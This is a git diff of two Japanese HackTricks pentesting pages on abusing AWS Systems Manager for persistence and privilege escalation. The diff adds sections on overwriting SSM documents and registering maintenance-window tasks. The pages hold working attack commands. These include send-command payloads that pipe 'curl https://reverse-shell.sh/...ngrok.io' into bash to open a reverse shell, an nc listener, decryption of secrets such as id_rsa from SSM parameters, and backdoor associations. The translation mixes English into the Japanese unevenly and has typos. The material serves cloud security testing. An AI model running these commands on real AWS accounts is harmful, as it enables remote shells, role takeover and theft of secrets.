diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md index 34592f354..45337f9df 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -1,18 +1,18 @@ -# AWS - SSM 永続化 +# AWS - SSM Perssitence {{#include ../../../../banners/hacktricks-training.md}} ## SSM -詳細は以下を参照してください： +詳細は以下を確認してください: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md {{#endref}} -### `ssm:CreateAssociation` を使用した永続化 +### Using ssm:CreateAssociation for persistence -権限 **`ssm:CreateAssociation`** を持つ攻撃者は、State Manager Association を作成して、SSM によって管理されている EC2 インスタンス上でコマンドを自動実行できます。これらの Association は固定間隔で実行するように設定でき、対話型セッションを必要としないバックドア的な永続化に適しています。 +**`ssm:CreateAssociation`** 権限を持つ attacker は、SSM で管理される EC2 instances 上でコマンドを自動実行する State Manager Association を作成できます。これらの association は固定間隔で実行するよう設定できるため、対話的な sessions を使わない backdoor-like persistence に適しています。 ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -22,6 +22,56 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> この永続化手法は、EC2 インスタンスが Systems Manager によって管理されており、SSM エージェントが稼働していて、攻撃者に associations を作成する権限がある限り機能します。対話型セッションや明示的な ssm:SendCommand 権限は必要ありません。 **重要:** `--schedule-expression` パラメータ（例: `rate(30 minutes)`）は AWS の最小間隔 30 分を遵守する必要があります。即時または一度だけ実行する場合は、`--schedule-expression` を完全に省略してください — association は作成後に1回実行されます。 +> この persistence method は、EC2 instance が Systems Manager によって managed されており、SSM agent が running していて、かつ attacker が associations を create する permission を持っている限り機能します。interactive sessions や明示的な `ssm:SendCommand` permissions は不要です。**Important:** `--schedule-expression` parameter（例: `rate(30 minutes)`）は AWS の minimum interval である 30 minutes に従う必要があります。即時または one-time execution の場合は、`--schedule-expression` を完全に省略してください — association は creation 後に一度だけ execute されます。 + +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +**`ssm:UpdateDocument`** と **`ssm:UpdateDocumentDefaultVersion`** の permissions を持つ attacker は、既存の documents を modify することで privileges を escalate できます。これにより、その document 内での persistence も可能になります。実際には attacker は custom documents の name を取得するために **`ssm:ListDocuments`** も必要になり、さらに attacker が既存の document 内に payload を obfuscate したい場合は **`ssm:GetDocument`** も必要になります。 +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +以下は、既存のドキュメントを上書きするために使用できる例のドキュメントです。invocation の問題を避けるため、ドキュメント type が target document の type と一致していることを確認したいはずです。下のドキュメントは、たとえば **`ssm:SendCommand`** と **`ssm:CreateAssociation`** の examples に対して機能します。 +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +**`ssm:RegisterTaskWithMaintenanceWindow`** と **`ssm:RegisterTargetWithMaintenanceWindow`** の権限を持つ攻撃者は、まず既存の maintenance window に新しい target を登録し、その後に新しい task を更新登録することで、権限昇格できます。これにより既存の targets 上で実行できますが、新しい targets を登録することで、異なる roles を持つ compute を侵害できる場合があります。これは persistence にもつながります。maintenance windows の tasks は、window 作成時に定義された pre-defined interval で実行されるためです。実際には、攻撃者は maintenance window の IDs を取得するために **`ssm:DescribeMaintenanceWindows`** も必要になります。 +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md index 6f361efce..ce189d8cc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -4,7 +4,7 @@ ## SSM -SSMの詳細については次を参照してください： +SSM についての詳細は以下を確認してください: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,7 +12,7 @@ SSMの詳細については次を参照してください： ### `ssm:SendCommand` -権限 **`ssm:SendCommand`** を持つ attacker は、Amazon SSM Agent を実行しているインスタンス上で **execute commands in instances** が可能で、内部で動作している **IAM Role** を **compromise** することができます。 +**`ssm:SendCommand`** 権限を持つ attacker は、Amazon SSM Agent を実行している instance 内で **commands を実行**でき、その中で動作している **IAM Role を compromise** できます。 ```bash # Check for configured instances aws ssm describe-instance-information @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -既に侵害された EC2 インスタンス内でこの手法を使って権限昇格を行っている場合は、次のようにして rev shell をローカルでキャプチャできます： +すでに侵害済みのEC2インスタンス内で権限昇格にこの technique を使っている場合、次のようにローカルで rev shell を取得するだけで済みます: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**潜在的な影響:** SSM Agents が稼働しているインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。 +**潜在的影響:** 実行中のインスタンスで SSM Agents が動作している場合、そのインスタンスに attached された EC2 IAM roles へ直接 privesc できる。 ### `ssm:StartSession` -権限 **`ssm:StartSession`** を持つ攻撃者は、Amazon SSM Agent が稼働するインスタンス上で **SSH のようなセッションを開始** し、その内部で実行されている **IAM Role を侵害** することができます。 +**`ssm:StartSession`** 権限を持つ attacker は、Amazon SSM Agent が動作している **instances で SSH のような session を開始** でき、その内部で動作している **IAM Role を compromise** できる。 ```bash # Check for configured instances aws ssm describe-instance-information @@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active aws ssm start-session --target "$INSTANCE_ID" ``` > [!CAUTION] -> セッションを開始するには **SessionManagerPlugin** をインストールする必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) - -**Potential Impact:** SSM Agents が稼働している実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。 +> セッションを開始するには、**SessionManagerPlugin** がインストールされている必要があります: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) + +**Potential Impact:** 実行中のインスタンスにアタッチされた SSM Agents が動作している EC2 IAM roles への直接 privesc。 #### Privesc to ECS -When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ -According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)、これは、_exec_ コマンドを発行するデバイスと対象のコンテナの間で SSM Session Manager を使ってセキュアなチャネルを作成することで実現されます。(SSM Session Manager Plugin がこれを動作させるために必要です)\ -したがって、`ssm:StartSession` を持つユーザーは、そのオプションが有効になっている ECS tasks に対して単に次を実行するだけで **get a shell inside ECS tasks** ことができます: +**ECS tasks** が **`ExecuteCommand` enabled** で実行されている場合、十分な権限を持つ users は `ecs execute-command` を使って container 内で **コマンドを実行** できます。\ +[**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) によると、これは、`_exec_` コマンドを開始するために使う device と target container の間に、SSM Session Manager を使って secure channel を作成することで行われます。(これが動作するには SSM Session Manager Plugin が必要)\ +したがって、`ssm:StartSession` を持つ users は、その option が有効な ECS tasks 内で **shell を取得** でき、次のように実行するだけです: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**Potential Impact:** `ExecuteCommand` が有効になっている実行中のタスクにアタッチされた `ECS` IAM roles への直接的な privesc。 +**Potential Impact:** `ExecuteCommand` が有効な実行中タスクにアタッチされた `ECS`IAM roles への直接的な privesc。 ### `ssm:ResumeSession` -権限 **`ssm:ResumeSession`** を持つ攻撃者は、Amazon SSM Agent を実行しているインスタンスで、SSM セッション状態が **disconnected** になっている場合に、インスタンス上で **SSH のようなセッションを再起動** し、その中で動作している **compromise the IAM Role** を行うことができます。 +**`ssm:ResumeSession`** 権限を持つ attacker は、Amazon SSM Agent を実行している instances 上で、**切断された** SSM session state を持つ **SSH のような session を再開** でき、その中で実行されている **IAM Role を compromise** できる。 ```bash # Check for configured instances aws ssm describe-sessions @@ -72,30 +72,30 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**潜在的影響:** 実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc（SSM Agents が稼働しており、切断されたセッションがある場合）。 +**Potential Impact:** 実行中のインスタンスに attached された SSM Agent が running していて、disconected sessions がある場合、EC2 IAM roles へ直接 privesc 可能。 ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -その権限を持つ攻撃者は、**SSM parameters** を一覧表示して **平文で読み取る**ことができます。これらのパラメータからは、SSH keys や API keys のような **機密情報を見つける**ことがよくあります。 +mentioned permissions を持つ attacker は、**SSM parameters** を list でき、それらを **clear-text で read** できます。これらの parameters には、SSH keys や API keys などの**sensitive information** が頻繁に含まれています。 ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` -**Potential Impact:** パラメータ内から機密情報を発見できる可能性があります。 +**潜在的な影響:** パラメータ内の機密情報を見つける。 ### `ssm:ListCommands` -この権限を持つ攻撃者は送信された全ての **commands** を一覧表示でき、それらから **機密情報** を見つける可能性があります。 +この権限を持つ attacker は、送信されたすべての **commands** を一覧表示でき、そこから **sensitive information** を見つけられる可能性がある。 ``` aws ssm list-commands ``` -**Potential Impact:** コマンドライン内の機密情報を見つけられる可能性があります。 +**Potential Impact:** コマンドライン内の機密情報を見つける。 ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -これらの権限を持つ攻撃者は、送信されたすべての **commands** を列挙し、生成された **read the output** を読み取ることで、そこから **sensitive information** を見つけることができます。 +これらの権限を持つ attacker は、送信されたすべての **commands** を一覧表示し、生成された **output** を読むことができ、そこから **sensitive information** を見つけられる可能性があります。 ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -103,11 +103,11 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**Potential Impact:** コマンド出力の中から機密情報を見つけることができる。 +**潜在的影響:** コマンドラインの出力内で機密情報を見つける。 ### Using ssm:CreateAssociation -権限 **`ssm:CreateAssociation`** を持つ攻撃者は、State Manager Association を作成して、SSM によって管理される EC2 インスタンス上でコマンドを自動実行できます。これらの associations は固定間隔で実行されるよう設定でき、interactive sessions を必要としない backdoor-like persistence に適しています。 +**`ssm:CreateAssociation`** の権限を持つ attacker は、SSM によって管理されている EC2 instances 上でコマンドを自動実行するための State Manager Association を作成できる。これらの associations は固定間隔で実行するように設定できるため、対話セッションなしで backdoor のような persistence に適している。 ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -117,11 +117,60 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> この永続化手法は、EC2 インスタンスが Systems Manager によって管理され、SSM agent が稼働しており、攻撃者が associations を作成する権限を持っている限り有効です。対話型セッションや明示的な ssm:SendCommand 権限は必要ありません。**重要:** `--schedule-expression` パラメータ（例: `rate(30 minutes)`）は AWS の最小間隔である 30 分を満たす必要があります。即時または一度だけ実行する場合は、`--schedule-expression` を完全に省略してください — association は作成後に一度だけ実行されます。 +> この persistence method は、EC2 instance が Systems Manager によって managed されており、SSM agent が running していて、かつ attacker に associations を create する権限がある限り機能します。interactive sessions や明示的な `ssm:SendCommand` permissions は必要ありません。**Important:** `--schedule-expression` parameter（例: `rate(30 minutes)`）は AWS の minimum interval である 30 minutes に従う必要があります。即時または 1 回限りの実行を行う場合は、`--schedule-expression` を完全に省略してください — association は create 後に 1 回だけ実行されます。 +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +`ssm:UpdateDocument` と **`ssm:UpdateDocumentDefaultVersion`** の permissions を持つ attacker は、既存の documents を modify することで privileges を escalate できます。これにより、その document 内で persistence も可能になります。実際には、attacker は custom documents の name を取得するために **`ssm:ListDocuments`** も必要ですし、既存の document 内に payload を obfuscate したい場合は **`ssm:GetDocument`** も必要になります。 +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +以下は、既存の document を上書きするために使用できる example document です。invnocation に関する issues を避けるために、document type が target document の type と一致していることを確認する必要があります。以下の document は、たとえば **`ssm:SendCommand`** と **`ssm:CreateAssociation`** の examples です。 +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +**`ssm:RegisterTaskWithMaintenanceWindow`** と **`ssm:RegisterTargetWithMaintenanceWindow`** の権限を持つ攻撃者は、まず既存の maintenance window に新しい target を登録し、その後で新しい task を更新登録することで、権限昇格できます。これにより既存の targets 上で実行できますが、新しい targets を登録することで、異なる roles を持つ compute を侵害できる可能性があります。これは persistence も可能にします。なぜなら maintenance windows の tasks は、window 作成時に定義された pre-defined interval で実行されるからです。実際には、攻撃者は maintenance window IDs を取得するために **`ssm:DescribeMaintenanceWindows`** も必要です。 +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` ### Codebuild -ビルド中の codebuild プロジェクトに侵入するために SSM を利用することもできます: +SSM を使って、ビルド中の codebuild project にも侵入できます: {{#ref}} ../aws-codebuild-privesc/README.md